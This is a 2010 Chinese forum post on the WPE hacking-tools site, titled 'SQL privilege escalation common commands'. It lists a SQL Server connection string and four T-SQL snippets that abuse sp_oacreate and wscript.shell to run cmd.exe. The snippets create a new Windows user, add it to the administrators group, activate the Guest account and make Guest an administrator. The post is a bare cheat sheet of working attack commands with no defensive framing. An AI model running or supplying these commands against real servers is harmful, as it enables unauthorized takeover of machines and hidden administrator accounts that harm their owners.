WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 1991查看
  • 0回复

[经验分享] SQL提权常用命令

主题

好友

2712

积分

禁止访问

发表于 2010-2-2 20:38:08 |显示全部楼层
1、连接数据库

driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名

2、添加新用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'

3、把用户加到管理组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'

4、激活GUEST用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'

5、把Guest加到管理组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-2 14:44 , Processed in 0.060413 second(s), 16 queries .

返回顶部